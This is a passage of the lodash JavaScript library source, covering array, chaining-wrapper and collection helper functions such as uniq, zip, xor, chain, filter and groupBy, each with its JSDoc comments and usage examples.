function takeRightWhile(array, predicate) {
return (array && array.length)
? baseWhile(array, getIteratee(predicate, 3), false, true)
: [];
}
/**
* Creates a slice of `array` with elements taken from the beginning. Elements
* are taken until `predicate` returns falsey. The predicate is invoked with
* three arguments: (value, index, array).
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the slice of `array`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': false },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': true }
* ];
*
* _.takeWhile(users, function(o) { return !o.active; });
* // => objects for ['barney', 'fred']
*
* // The `_.matches` iteratee shorthand.
* _.takeWhile(users, { 'user': 'barney', 'active': false });
* // => objects for ['barney']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.takeWhile(users, ['active', false]);
* // => objects for ['barney', 'fred']
*
* // The `_.property` iteratee shorthand.
* _.takeWhile(users, 'active');
* // => []
*/
function takeWhile(array, predicate) {
return (array && array.length)
? baseWhile(array, getIteratee(predicate, 3))
: [];
}
/**
* Creates an array of unique values, in order, from all given arrays using
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @returns {Array} Returns the new array of combined values.
* @example
*
* _.union([2], [1, 2]);
* // => [2, 1]
*/
var union = baseRest(function(arrays) {
return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true));
});
/**
* This method is like `_.union` except that it accepts `iteratee` which is
* invoked for each element of each `arrays` to generate the criterion by
* which uniqueness is computed. Result values are chosen from the first
* array in which the value occurs. The iteratee is invoked with one argument:
* (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns the new array of combined values.
* @example
*
* _.unionBy([2.1], [1.2, 2.3], Math.floor);
* // => [2.1, 1.2]
*
* // The `_.property` iteratee shorthand.
* _.unionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
* // => [{ 'x': 1 }, { 'x': 2 }]
*/
var unionBy = baseRest(function(arrays) {
var iteratee = last(arrays);
if (isArrayLikeObject(iteratee)) {
iteratee = undefined;
}
return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), getIteratee(iteratee, 2));
});
/**
* This method is like `_.union` except that it accepts `comparator` which
* is invoked to compare elements of `arrays`. Result values are chosen from
* the first array in which the value occurs. The comparator is invoked
* with two arguments: (arrVal, othVal).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of combined values.
* @example
*
* var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
* var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
*
* _.unionWith(objects, others, _.isEqual);
* // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
*/
var unionWith = baseRest(function(arrays) {
var comparator = last(arrays);
comparator = typeof comparator == 'function' ? comparator : undefined;
return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), undefined, comparator);
});
/**
* Creates a duplicate-free version of an array, using
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons, in which only the first occurrence of each element
* is kept. The order of result values is determined by the order they occur
* in the array.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to inspect.
* @returns {Array} Returns the new duplicate free array.
* @example
*
* _.uniq([2, 1, 2]);
* // => [2, 1]
*/
function uniq(array) {
return (array && array.length) ? baseUniq(array) : [];
}
/**
* This method is like `_.uniq` except that it accepts `iteratee` which is
* invoked for each element in `array` to generate the criterion by which
* uniqueness is computed. The order of result values is determined by the
* order they occur in the array. The iteratee is invoked with one argument:
* (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns the new duplicate free array.
* @example
*
* _.uniqBy([2.1, 1.2, 2.3], Math.floor);
* // => [2.1, 1.2]
*
* // The `_.property` iteratee shorthand.
* _.uniqBy([{ 'x': 1 }, { 'x': 2 }, { 'x': 1 }], 'x');
* // => [{ 'x': 1 }, { 'x': 2 }]
*/
function uniqBy(array, iteratee) {
return (array && array.length) ? baseUniq(array, getIteratee(iteratee, 2)) : [];
}
/**
* This method is like `_.uniq` except that it accepts `comparator` which
* is invoked to compare elements of `array`. The order of result values is
* determined by the order they occur in the array.The comparator is invoked
* with two arguments: (arrVal, othVal).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new duplicate free array.
* @example
*
* var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 2 }];
*
* _.uniqWith(objects, _.isEqual);
* // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }]
*/
function uniqWith(array, comparator) {
comparator = typeof comparator == 'function' ? comparator : undefined;
return (array && array.length) ? baseUniq(array, undefined, comparator) : [];
}
/**
* This method is like `_.zip` except that it accepts an array of grouped
* elements and creates an array regrouping the elements to their pre-zip
* configuration.
*
* @static
* @memberOf _
* @since 1.2.0
* @category Array
* @param {Array} array The array of grouped elements to process.
* @returns {Array} Returns the new array of regrouped elements.
* @example
*
* var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
* // => [['a', 1, true], ['b', 2, false]]
*
* _.unzip(zipped);
* // => [['a', 'b'], [1, 2], [true, false]]
*/
function unzip(array) {
if (!(array && array.length)) {
return [];
}
var length = 0;
array = arrayFilter(array, function(group) {
if (isArrayLikeObject(group)) {
length = nativeMax(group.length, length);
return true;
}
});
return baseTimes(length, function(index) {
return arrayMap(array, baseProperty(index));
});
}
/**
* This method is like `_.unzip` except that it accepts `iteratee` to specify
* how regrouped values should be combined. The iteratee is invoked with the
* elements of each group: (...group).
*
* @static
* @memberOf _
* @since 3.8.0
* @category Array
* @param {Array} array The array of grouped elements to process.
* @param {Function} [iteratee=_.identity] The function to combine
* regrouped values.
* @returns {Array} Returns the new array of regrouped elements.
* @example
*
* var zipped = _.zip([1, 2], [10, 20], [100, 200]);
* // => [[1, 10, 100], [2, 20, 200]]
*
* _.unzipWith(zipped, _.add);
* // => [3, 30, 300]
*/
function unzipWith(array, iteratee) {
if (!(array && array.length)) {
return [];
}
var result = unzip(array);
if (iteratee == null) {
return result;
}
return arrayMap(result, function(group) {
return apply(iteratee, undefined, group);
});
}
/**
* Creates an array excluding all given values using
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons.
*
* **Note:** Unlike `_.pull`, this method returns a new array.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to inspect.
* @param {...*} [values] The values to exclude.
* @returns {Array} Returns the new array of filtered values.
* @see _.difference, _.xor
* @example
*
* _.without([2, 1, 2, 3], 1, 2);
* // => [3]
*/
var without = baseRest(function(array, values) {
return isArrayLikeObject(array)
? baseDifference(array, values)
: [];
});
/**
* Creates an array of unique values that is the
* [symmetric difference](https://en.wikipedia.org/wiki/Symmetric_difference)
* of the given arrays. The order of result values is determined by the order
* they occur in the arrays.
*
* @static
* @memberOf _
* @since 2.4.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @returns {Array} Returns the new array of filtered values.
* @see _.difference, _.without
* @example
*
* _.xor([2, 1], [2, 3]);
* // => [1, 3]
*/
var xor = baseRest(function(arrays) {
return baseXor(arrayFilter(arrays, isArrayLikeObject));
});
/**
* This method is like `_.xor` except that it accepts `iteratee` which is
* invoked for each element of each `arrays` to generate the criterion by
* which by which they're compared. The order of result values is determined
* by the order they occur in the arrays. The iteratee is invoked with one
* argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns the new array of filtered values.
* @example
*
* _.xorBy([2.1, 1.2], [2.3, 3.4], Math.floor);
* // => [1.2, 3.4]
*
* // The `_.property` iteratee shorthand.
* _.xorBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
* // => [{ 'x': 2 }]
*/
var xorBy = baseRest(function(arrays) {
var iteratee = last(arrays);
if (isArrayLikeObject(iteratee)) {
iteratee = undefined;
}
return baseXor(arrayFilter(arrays, isArrayLikeObject), getIteratee(iteratee, 2));
});
/**
* This method is like `_.xor` except that it accepts `comparator` which is
* invoked to compare elements of `arrays`. The order of result values is
* determined by the order they occur in the arrays. The comparator is invoked
* with two arguments: (arrVal, othVal).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of filtered values.
* @example
*
* var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
* var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
*
* _.xorWith(objects, others, _.isEqual);
* // => [{ 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
*/
var xorWith = baseRest(function(arrays) {
var comparator = last(arrays);
comparator = typeof comparator == 'function' ? comparator : undefined;
return baseXor(arrayFilter(arrays, isArrayLikeObject), undefined, comparator);
});
/**
* Creates an array of grouped elements, the first of which contains the
* first elements of the given arrays, the second of which contains the
* second elements of the given arrays, and so on.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {...Array} [arrays] The arrays to process.
* @returns {Array} Returns the new array of grouped elements.
* @example
*
* _.zip(['a', 'b'], [1, 2], [true, false]);
* // => [['a', 1, true], ['b', 2, false]]
*/
var zip = baseRest(unzip);
/**
* This method is like `_.fromPairs` except that it accepts two arrays,
* one of property identifiers and one of corresponding values.
*
* @static
* @memberOf _
* @since 0.4.0
* @category Array
* @param {Array} [props=[]] The property identifiers.
* @param {Array} [values=[]] The property values.
* @returns {Object} Returns the new object.
* @example
*
* _.zipObject(['a', 'b'], [1, 2]);
* // => { 'a': 1, 'b': 2 }
*/
function zipObject(props, values) {
return baseZipObject(props || [], values || [], assignValue);
}
/**
* This method is like `_.zipObject` except that it supports property paths.
*
* @static
* @memberOf _
* @since 4.1.0
* @category Array
* @param {Array} [props=[]] The property identifiers.
* @param {Array} [values=[]] The property values.
* @returns {Object} Returns the new object.
* @example
*
* _.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
* // => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
*/
function zipObjectDeep(props, values) {
return baseZipObject(props || [], values || [], baseSet);
}
/**
* This method is like `_.zip` except that it accepts `iteratee` to specify
* how grouped values should be combined. The iteratee is invoked with the
* elements of each group: (...group).
*
* @static
* @memberOf _
* @since 3.8.0
* @category Array
* @param {...Array} [arrays] The arrays to process.
* @param {Function} [iteratee=_.identity] The function to combine
* grouped values.
* @returns {Array} Returns the new array of grouped elements.
* @example
*
* _.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) {
* return a + b + c;
* });
* // => [111, 222]
*/
var zipWith = baseRest(function(arrays) {
var length = arrays.length,
iteratee = length > 1 ? arrays[length - 1] : undefined;
iteratee = typeof iteratee == 'function' ? (arrays.pop(), iteratee) : undefined;
return unzipWith(arrays, iteratee);
});
/*------------------------------------------------------------------------*/
/**
* Creates a `lodash` wrapper instance that wraps `value` with explicit method
* chain sequences enabled. The result of such sequences must be unwrapped
* with `_#value`.
*
* @static
* @memberOf _
* @since 1.3.0
* @category Seq
* @param {*} value The value to wrap.
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36 },
* { 'user': 'fred', 'age': 40 },
* { 'user': 'pebbles', 'age': 1 }
* ];
*
* var youngest = _
* .chain(users)
* .sortBy('age')
* .map(function(o) {
* return o.user + ' is ' + o.age;
* })
* .head()
* .value();
* // => 'pebbles is 1'
*/
function chain(value) {
var result = lodash(value);
result.__chain__ = true;
return result;
}
/**
* This method invokes `interceptor` and returns `value`. The interceptor
* is invoked with one argument; (value). The purpose of this method is to
* "tap into" a method chain sequence in order to modify intermediate results.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Seq
* @param {*} value The value to provide to `interceptor`.
* @param {Function} interceptor The function to invoke.
* @returns {*} Returns `value`.
* @example
*
* _([1, 2, 3])
* .tap(function(array) {
* // Mutate input array.
* array.pop();
* })
* .reverse()
* .value();
* // => [2, 1]
*/
function tap(value, interceptor) {
interceptor(value);
return value;
}
/**
* This method is like `_.tap` except that it returns the result of `interceptor`.
* The purpose of this method is to "pass thru" values replacing intermediate
* results in a method chain sequence.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Seq
* @param {*} value The value to provide to `interceptor`.
* @param {Function} interceptor The function to invoke.
* @returns {*} Returns the result of `interceptor`.
* @example
*
* _(' abc ')
* .chain()
* .trim()
* .thru(function(value) {
* return [value];
* })
* .value();
* // => ['abc']
*/
function thru(value, interceptor) {
return interceptor(value);
}
/**
* This method is the wrapper version of `_.at`.
*
* @name at
* @memberOf _
* @since 1.0.0
* @category Seq
* @param {...(string|string[])} [paths] The property paths to pick.
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
*
* _(object).at(['a[0].b.c', 'a[1]']).value();
* // => [3, 4]
*/
var wrapperAt = flatRest(function(paths) {
var length = paths.length,
start = length ? paths[0] : 0,
value = this.__wrapped__,
interceptor = function(object) { return baseAt(object, paths); };
if (length > 1 || this.__actions__.length ||
!(value instanceof LazyWrapper) || !isIndex(start)) {
return this.thru(interceptor);
}
value = value.slice(start, +start + (length ? 1 : 0));
value.__actions__.push({
'func': thru,
'args': [interceptor],
'thisArg': undefined
});
return new LodashWrapper(value, this.__chain__).thru(function(array) {
if (length && !array.length) {
array.push(undefined);
}
return array;
});
});
/**
* Creates a `lodash` wrapper instance with explicit method chain sequences enabled.
*
* @name chain
* @memberOf _
* @since 0.1.0
* @category Seq
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36 },
* { 'user': 'fred', 'age': 40 }
* ];
*
* // A sequence without explicit chaining.
* _(users).head();
* // => { 'user': 'barney', 'age': 36 }
*
* // A sequence with explicit chaining.
* _(users)
* .chain()
* .head()
* .pick('user')
* .value();
* // => { 'user': 'barney' }
*/
function wrapperChain() {
return chain(this);
}
/**
* Executes the chain sequence and returns the wrapped result.
*
* @name commit
* @memberOf _
* @since 3.2.0
* @category Seq
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* var array = [1, 2];
* var wrapped = _(array).push(3);
*
* console.log(array);
* // => [1, 2]
*
* wrapped = wrapped.commit();
* console.log(array);
* // => [1, 2, 3]
*
* wrapped.last();
* // => 3
*
* console.log(array);
* // => [1, 2, 3]
*/
function wrapperCommit() {
return new LodashWrapper(this.value(), this.__chain__);
}
/**
* Gets the next value on a wrapped object following the
* [iterator protocol](https://mdn.io/iteration_protocols#iterator).
*
* @name next
* @memberOf _
* @since 4.0.0
* @category Seq
* @returns {Object} Returns the next iterator value.
* @example
*
* var wrapped = _([1, 2]);
*
* wrapped.next();
* // => { 'done': false, 'value': 1 }
*
* wrapped.next();
* // => { 'done': false, 'value': 2 }
*
* wrapped.next();
* // => { 'done': true, 'value': undefined }
*/
function wrapperNext() {
if (this.__values__ === undefined) {
this.__values__ = toArray(this.value());
}
var done = this.__index__ >= this.__values__.length,
value = done ? undefined : this.__values__[this.__index__++];
return { 'done': done, 'value': value };
}
/**
* Enables the wrapper to be iterable.
*
* @name Symbol.iterator
* @memberOf _
* @since 4.0.0
* @category Seq
* @returns {Object} Returns the wrapper object.
* @example
*
* var wrapped = _([1, 2]);
*
* wrapped[Symbol.iterator]() === wrapped;
* // => true
*
* Array.from(wrapped);
* // => [1, 2]
*/
function wrapperToIterator() {
return this;
}
/**
* Creates a clone of the chain sequence planting `value` as the wrapped value.
*
* @name plant
* @memberOf _
* @since 3.2.0
* @category Seq
* @param {*} value The value to plant.
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* function square(n) {
* return n * n;
* }
*
* var wrapped = _([1, 2]).map(square);
* var other = wrapped.plant([3, 4]);
*
* other.value();
* // => [9, 16]
*
* wrapped.value();
* // => [1, 4]
*/
function wrapperPlant(value) {
var result,
parent = this;
while (parent instanceof baseLodash) {
var clone = wrapperClone(parent);
clone.__index__ = 0;
clone.__values__ = undefined;
if (result) {
previous.__wrapped__ = clone;
} else {
result = clone;
}
var previous = clone;
parent = parent.__wrapped__;
}
previous.__wrapped__ = value;
return result;
}
/**
* This method is the wrapper version of `_.reverse`.
*
* **Note:** This method mutates the wrapped array.
*
* @name reverse
* @memberOf _
* @since 0.1.0
* @category Seq
* @returns {Object} Returns the new `lodash` wrapper instance.
* @example
*
* var array = [1, 2, 3];
*
* _(array).reverse().value()
* // => [3, 2, 1]
*
* console.log(array);
* // => [3, 2, 1]
*/
function wrapperReverse() {
var value = this.__wrapped__;
if (value instanceof LazyWrapper) {
var wrapped = value;
if (this.__actions__.length) {
wrapped = new LazyWrapper(this);
}
wrapped = wrapped.reverse();
wrapped.__actions__.push({
'func': thru,
'args': [reverse],
'thisArg': undefined
});
return new LodashWrapper(wrapped, this.__chain__);
}
return this.thru(reverse);
}
/**
* Executes the chain sequence to resolve the unwrapped value.
*
* @name value
* @memberOf _
* @since 0.1.0
* @alias toJSON, valueOf
* @category Seq
* @returns {*} Returns the resolved unwrapped value.
* @example
*
* _([1, 2, 3]).value();
* // => [1, 2, 3]
*/
function wrapperValue() {
return baseWrapperValue(this.__wrapped__, this.__actions__);
}
/*------------------------------------------------------------------------*/
/**
* Creates an object composed of keys generated from the results of running
* each element of `collection` thru `iteratee`. The corresponding value of
* each key is the number of times the key was returned by `iteratee`. The
* iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 0.5.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee to transform keys.
* @returns {Object} Returns the composed aggregate object.
* @example
*
* _.countBy([6.1, 4.2, 6.3], Math.floor);
* // => { '4': 1, '6': 2 }
*
* // The `_.property` iteratee shorthand.
* _.countBy(['one', 'two', 'three'], 'length');
* // => { '3': 2, '5': 1 }
*/
var countBy = createAggregator(function(result, value, key) {
if (hasOwnProperty.call(result, key)) {
++result[key];
} else {
baseAssignValue(result, key, 1);
}
});
/**
* Checks if `predicate` returns truthy for **all** elements of `collection`.
* Iteration is stopped once `predicate` returns falsey. The predicate is
* invoked with three arguments: (value, index|key, collection).
*
* **Note:** This method returns `true` for
* [empty collections](https://en.wikipedia.org/wiki/Empty_set) because
* [everything is true](https://en.wikipedia.org/wiki/Vacuous_truth) of
* elements of empty collections.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {boolean} Returns `true` if all elements pass the predicate check,
* else `false`.
* @example
*
* _.every([true, 1, null, 'yes'], Boolean);
* // => false
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': false },
* { 'user': 'fred', 'age': 40, 'active': false }
* ];
*
* // The `_.matches` iteratee shorthand.
* _.every(users, { 'user': 'barney', 'active': false });
* // => false
*
* // The `_.matchesProperty` iteratee shorthand.
* _.every(users, ['active', false]);
* // => true
*
* // The `_.property` iteratee shorthand.
* _.every(users, 'active');
* // => false
*/
function every(collection, predicate, guard) {
var func = isArray(collection) ? arrayEvery : baseEvery;
if (guard && isIterateeCall(collection, predicate, guard)) {
predicate = undefined;
}
return func(collection, getIteratee(predicate, 3));
}
/**
* Iterates over elements of `collection`, returning an array of all elements
* `predicate` returns truthy for. The predicate is invoked with three
* arguments: (value, index|key, collection).
*
* **Note:** Unlike `_.remove`, this method returns a new array.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new filtered array.
* @see _.reject
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': true },
* { 'user': 'fred', 'age': 40, 'active': false }
* ];
*
* _.filter(users, function(o) { return !o.active; });
* // => objects for ['fred']
*
* // The `_.matches` iteratee shorthand.
* _.filter(users, { 'age': 36, 'active': true });
* // => objects for ['barney']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.filter(users, ['active', false]);
* // => objects for ['fred']
*
* // The `_.property` iteratee shorthand.
* _.filter(users, 'active');
* // => objects for ['barney']
*
* // Combining several predicates using `_.overEvery` or `_.overSome`.
* _.filter(users, _.overSome([{ 'age': 36 }, ['age', 40]]));
* // => objects for ['fred', 'barney']
*/
function filter(collection, predicate) {
var func = isArray(collection) ? arrayFilter : baseFilter;
return func(collection, getIteratee(predicate, 3));
}
/**
* Iterates over elements of `collection`, returning the first element
* `predicate` returns truthy for. The predicate is invoked with three
* arguments: (value, index|key, collection).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param {number} [fromIndex=0] The index to search from.
* @returns {*} Returns the matched element, else `undefined`.
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': true },
* { 'user': 'fred', 'age': 40, 'active': false },
* { 'user': 'pebbles', 'age': 1, 'active': true }
* ];
*
* _.find(users, function(o) { return o.age < 40; });
* // => object for 'barney'
*
* // The `_.matches` iteratee shorthand.
* _.find(users, { 'age': 1, 'active': true });
* // => object for 'pebbles'
*
* // The `_.matchesProperty` iteratee shorthand.
* _.find(users, ['active', false]);
* // => object for 'fred'
*
* // The `_.property` iteratee shorthand.
* _.find(users, 'active');
* // => object for 'barney'
*/
var find = createFind(findIndex);
/**
* This method is like `_.find` except that it iterates over elements of
* `collection` from right to left.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Collection
* @param {Array|Object} collection The collection to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param {number} [fromIndex=collection.length-1] The index to search from.
* @returns {*} Returns the matched element, else `undefined`.
* @example
*
* _.findLast([1, 2, 3, 4], function(n) {
* return n % 2 == 1;
* });
* // => 3
*/
var findLast = createFind(findLastIndex);
/**
* Creates a flattened array of values by running each element in `collection`
* thru `iteratee` and flattening the mapped results. The iteratee is invoked
* with three arguments: (value, index|key, collection).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new flattened array.
* @example
*
* function duplicate(n) {
* return [n, n];
* }
*
* _.flatMap([1, 2], duplicate);
* // => [1, 1, 2, 2]
*/
function flatMap(collection, iteratee) {
return baseFlatten(map(collection, iteratee), 1);
}
/**
* This method is like `_.flatMap` except that it recursively flattens the
* mapped results.
*
* @static
* @memberOf _
* @since 4.7.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new flattened array.
* @example
*
* function duplicate(n) {
* return [[[n, n]]];
* }
*
* _.flatMapDeep([1, 2], duplicate);
* // => [1, 1, 2, 2]
*/
function flatMapDeep(collection, iteratee) {
return baseFlatten(map(collection, iteratee), INFINITY);
}
/**
* This method is like `_.flatMap` except that it recursively flattens the
* mapped results up to `depth` times.
*
* @static
* @memberOf _
* @since 4.7.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @param {number} [depth=1] The maximum recursion depth.
* @returns {Array} Returns the new flattened array.
* @example
*
* function duplicate(n) {
* return [[[n, n]]];
* }
*
* _.flatMapDepth([1, 2], duplicate, 2);
* // => [[1, 1], [2, 2]]
*/
function flatMapDepth(collection, iteratee, depth) {
depth = depth === undefined ? 1 : toInteger(depth);
return baseFlatten(map(collection, iteratee), depth);
}
/**
* Iterates over elements of `collection` and invokes `iteratee` for each element.
* The iteratee is invoked with three arguments: (value, index|key, collection).
* Iteratee functions may exit iteration early by explicitly returning `false`.
*
* **Note:** As with other "Collections" methods, objects with a "length"
* property are iterated like arrays. To avoid this behavior use `_.forIn`
* or `_.forOwn` for object iteration.
*
* @static
* @memberOf _
* @since 0.1.0
* @alias each
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array|Object} Returns `collection`.
* @see _.forEachRight
* @example
*
* _.forEach([1, 2], function(value) {
* console.log(value);
* });
* // => Logs `1` then `2`.
*
* _.forEach({ 'a': 1, 'b': 2 }, function(value, key) {
* console.log(key);
* });
* // => Logs 'a' then 'b' (iteration order is not guaranteed).
*/
function forEach(collection, iteratee) {
var func = isArray(collection) ? arrayEach : baseEach;
return func(collection, getIteratee(iteratee, 3));
}
/**
* This method is like `_.forEach` except that it iterates over elements of
* `collection` from right to left.
*
* @static
* @memberOf _
* @since 2.0.0
* @alias eachRight
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array|Object} Returns `collection`.
* @see _.forEach
* @example
*
* _.forEachRight([1, 2], function(value) {
* console.log(value);
* });
* // => Logs `2` then `1`.
*/
function forEachRight(collection, iteratee) {
var func = isArray(collection) ? arrayEachRight : baseEachRight;
return func(collection, getIteratee(iteratee, 3));
}
/**
* Creates an object composed of keys generated from the results of running
* each element of `collection` thru `iteratee`. The order of grouped values
* is determined by the order they occur in `collection`. The corresponding
* value of each key is an array of elements responsible for generating the
* key. The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee to transform keys.
* @returns {Object} Returns the composed aggregate object.
* @example
*
* _.groupBy([6.1, 4.2, 6.3], Math.floor);
* // => { '4': [4.2], '6': [6.1, 6.3] }
*
* // The `_.property` iteratee shorthand.
* _.groupBy(['one', 'two', 'three'], 'length');
* // => { '3': ['one', 'two'], '5': ['three'] }
*/
var groupBy = createAggregator(function(result, value, key) {
if (hasOwnProperty.call(result, key)) {
result[key].push(value);
} else {
baseAssignValue(result, key, [value]);
}
});
/**
* Checks if `value` is in `collection`. If `collection` is a string, it's
* checked for a substring of `value`, otherwise
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* is used for equality comparisons. If `fromIndex` is negative, it's used as
* the offset from the end of `collection`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object|string} collection The collection to inspect.
* @param {*} value The value to search for.
* @param {number} [fromIndex=0] The index to search from.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
* @returns {boolean} Returns `true` if `value` is found, else `false`.
* @example
*
* _.includes([1, 2, 3], 1);
* // => true
*
* _.includes([1, 2, 3], 1, 2);
* // => false
*
* _.includes({ 'a': 1, 'b': 2 }, 1);
* // => true
*
* _.includes('abcd', 'bc');
* // => true
*/
function includes(collection, value, fromIndex, guard) {
collection = isArrayLike(collection) ? collection : values(collection);
fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0;
var length = collection.length;
if (fromIndex < 0) {
fromIndex = nativeMax(length + fromIndex, 0);
}
return isString(collection)
? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1)
: (!!length && baseIndexOf(collection, value, fromIndex) > -1);
}
/**
* Invokes the method at `path` of each element in `collection`, returning
* an array of the results of each invoked method. Any additional arguments
* are provided to each invoked method. If `path` is a function, it's invoked
* for, and `this` bound to, each element in `collection`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Array|Function|string} path The path of the method to invoke or
* the function invoked per iteration.
* @param {...*} [args] The arguments to invoke each method with.
* @returns {Array} Returns the array of results.
* @example
*
* _.invokeMap([[5, 1, 7], [3, 2, 1]], 'sort');
* // => [[1, 5, 7], [1, 2, 3]]
*
* _.invokeMap([123, 456], String.prototype.split, '');
* // => [['1', '2', '3'], ['4', '5', '6']]
*/
var invokeMap = baseRest(function(collection, path, args) {
var index = -1,
isFunc = typeof path == 'function',
result = isArrayLike(collection) ? Array(collection.length) : [];
baseEach(collection, function(value) {
result[++index] = isFunc ? apply(path, value, args) : baseInvoke(value, path, args);
});
return result;
});
/**
* Creates an object composed of keys generated from the results of running
* each element of `collection` thru `iteratee`. The corresponding value of
* each key is the last element responsible for generating the key. The
* iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee to transform keys.
* @returns {Object} Returns the composed aggregate object.
* @example
*
* var array = [
* { 'dir': 'left', 'code': 97 },
* { 'dir': 'right', 'code': 100 }
* ];
*
* _.keyBy(array, function(o) {
* return String.fromCharCode(o.code);
* });
* // => { 'a': { 'dir': 'left', 'code': 97 }, 'd': { 'dir': 'right', 'code': 100 } }
*
* _.keyBy(array, 'dir');
* // => { 'left': { 'dir': 'left', 'code': 97 }, 'right': { 'dir': 'right', 'code': 100 } }
